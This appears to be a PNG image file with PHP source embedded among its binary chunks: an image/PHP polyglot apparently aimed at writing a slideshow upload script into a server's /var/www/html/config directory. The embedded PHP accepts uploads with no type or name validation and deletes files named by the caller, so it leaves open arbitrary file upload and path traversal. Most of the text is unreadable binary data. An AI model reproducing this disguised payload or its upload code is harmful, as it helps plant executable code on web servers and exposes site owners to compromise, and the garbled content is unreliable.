php IHDR w Q )Ba pHYs sRGB gAMA a IDATxMk\U s&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨ G;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j- $_q?qS XzG'ay
files >> /var/www/html/config/ |
files >> /var/www/html/config/fungsi_slideshow.php |
<?php function UploadImage($fupload_name, $file_lama){ //direktori gambar $vdir_upload = "../../../slide_show/"; $vfile_upload = $vdir_upload . $fupload_name; //Simpan gambar dalam ukuran sebenarnya move_uploaded_file($_FILES["fupload"]["tmp_name"], $vfile_upload); //identitas file asli $im_src = imagecreatefromjpeg($vfile_upload); $src_width = imageSX($im_src); $src_height = imageSY($im_src); //Simpan dalam versi small 960 pixel //Set ukuran gambar hasil perubahan $dst_width = 1350; $dst_height = ($dst_width/$src_width)*$src_height; //proses perubahan ukuran $im = imagecreatetruecolor($dst_width, 450); //imagecopyresampled($im, $im_src, 0, -100, 0, 0, $dst_width, $dst_height, $src_width, $src_height); imagecopyresampled($im, $im_src, 0, 0, 0, 0, $dst_width, $dst_height, $src_width, $src_height); //Simpan gambar imagejpeg($im,$vdir_upload . "/" . $fupload_name); //Simpan dalam versi small 110 pixel //Set ukuran gambar hasil perubahan /* $dst_width = 128; $dst_height = ($dst_width/$src_width)*$src_height; //proses perubahan ukuran $im = imagecreatetruecolor($dst_width, 48); imagecopyresampled($im, $im_src, 0, 10, 0, 0, $dst_width, $dst_height, $src_width, $src_height); //Simpan gambar imagejpeg($im,$vdir_upload . "/tooltips/" . $fupload_name); */ //Hapus gambar di memori komputer //imagedestroy($im_src); imagedestroy($im); //unlink($vdir_upload . $fupload_name); if(file_exists($vdir_upload . $file_lama) AND !empty($file_lama) ) { //echo $file_lama; unlink($vdir_upload . $file_lama); } //unlink($vdir_upload ."/tooltips/". $file_lama); } function UploadBanner($fupload_name){ //direktori banner $vdir_upload = "../../../foto_banner/"; $vfile_upload = $vdir_upload . $fupload_name; //Simpan gambar dalam ukuran sebenarnya move_uploaded_file($_FILES["fupload"]["tmp_name"], $vfile_upload); } function UploadFile($fupload_name){ //direktori file $vdir_upload = "../../../files/"; $vfile_upload = $vdir_upload . $fupload_name; //Simpan gambar dalam ukuran sebenarnya move_uploaded_file($_FILES["fupload"]["tmp_name"], $vfile_upload); } ?>y~or5J={Eeu磝Qk ᯘG{?+]ן?wM3X^歌>{7پK>on\jy Rg/=fOroNVv~Y+ NGuÝHWyw[eQʨSb> >}Gmx[o[<{Ϯ_qFvM IENDB`